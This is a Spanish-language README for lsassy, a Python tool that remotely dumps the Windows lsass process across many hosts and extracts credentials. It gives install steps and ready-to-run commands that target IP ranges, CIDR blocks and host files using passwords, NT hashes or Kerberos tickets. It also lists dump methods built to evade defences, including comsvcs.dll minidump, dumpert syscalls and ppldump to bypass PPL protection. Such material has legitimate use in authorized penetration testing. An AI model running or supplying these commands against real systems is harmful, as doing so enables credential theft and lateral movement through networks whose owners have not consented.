
Extraer credenciales de lsass de forma remota
Herramienta en Python para extraer credenciales de forma remota en un conjunto de equipos. Esta entrada de blog explica cómo funciona.
Esta herramienta utiliza el proyecto impacket para leer de forma remota los bytes necesarios en el volcado de lsass y pypykatz para extraer credenciales.
| Capítulos | Descripción |
|---|---|
| Advertencia | Antes de usar esta herramienta, lee esto |
| Instalación | Instalación de lsassy |
| Uso básico | Uso básico de lsassy |
| Uso avanzado | Uso avanzado de lsassy con explicación de parámetros |
| Añadir método de volcado | Cómo añadir un método personalizado de volcado de lsass |
| Agradecimientos | Reconocimientos a estas personas y herramientas |
| Discord oficial | Servidor oficial de Discord |
Aunque he hecho todo lo posible para que la herramienta sea estable, pueden quedar rastros si se producen errores.
Esta herramienta puede dejar algunos volcados de lsass si no logra eliminarlos (aunque hace todo lo posible) o dejar una tarea programada ejecutándose si falla al eliminarla. Esto no debería ocurrir, pero podría ocurrir. Ahora lo sabes, úsala con precaución.
lsassy funciona con python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy funciona directamente en múltiples objetivos (IP(s), rango(s), CIDR(s), nombre de equipo(s), FQDN(s), archivo(s) que contienen una lista de objetivos)
lsassy [-d dominio] -u pixis -p P4ssw0rd objetivos
lsassy [-d dominio] -u pixis -H [LM:]NT objetivos
Por defecto, lsassy intentará volcar lsass de forma remota usando el método comsvcs.dll, ya sea a través de WMI o de una tarea programada remota.
lsassy puede autenticarse con Kerberos. Requiere un TGT válido en la variable de entorno KRB5CCNAME. Consulta el uso avanzado para más detalles.
lsassy -k objetivos
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
En lsassy están implementados diferentes métodos de volcado de lsass, y se ofrecen algunas opciones para dar control al usuario sobre cómo procederá la herramienta.
lsassy está dividido en módulos
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Este módulo es el orquestador. Crea la clase lsassy con los argumentos y opciones proporcionados, y luego llama a los diferentes módulos para recuperar las credenciales.
Este módulo se utiliza para fines de registro.
Es una capa construida sobre Impacket para comportarse como un objeto de archivo nativo de Python. Sobrescribe métodos como open, read, seek o close.
Este módulo contiene toda la lógica de volcado. Dependiendo del método utilizado, ejecutará código en el equipo remoto para volcar lsass utilizando el método proporcionado.
Este módulo se basa en pypykatz y utiliza el módulo de archivo de lsassy para analizar de forma remota el volcado de lsass.
Este módulo maneja la parte de salida, ya sea en pantalla en diferentes formatos y/o guardando los resultados en un archivo.
Esta herramienta puede volcar lsass de diferentes maneras.
Métodos de volcado (-m o --method)
Este método solo utiliza archivos integrados de Windows para extraer credenciales de forma remota. Utiliza la función minidump de comsvcs.dll para volcar el proceso lsass.
Este método sube procdump.exe de SysInternals para volcar el proceso lsass.
Este método sube dumpert.exe o dumpert.dll de outflanknl para volcar el proceso lsass usando syscalls.
Este método sube NativeDump.exe de ricardojoserf para volcar el proceso lsass usando solo NTAPIs.
Este método sube ppldump.exe de itm4n para volcar el proceso lsass y evadir PPL.
Este método sube Mirrordump.exe de Ccob para volcar lsass usando un identificador ya abierto de lsass mediante un plugin LSA.
Este método utiliza la técnica WER utilizada en PowerSploit.
Para algunos métodos de volcado, se requieren opciones, como la ruta de procdump o dumpert. Estas opciones se pueden establecer usando --options o -O con una lista separada por comas de opciones en formato clave=valor.
... --options clave=valor,foo=bar
Por ejemplo:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll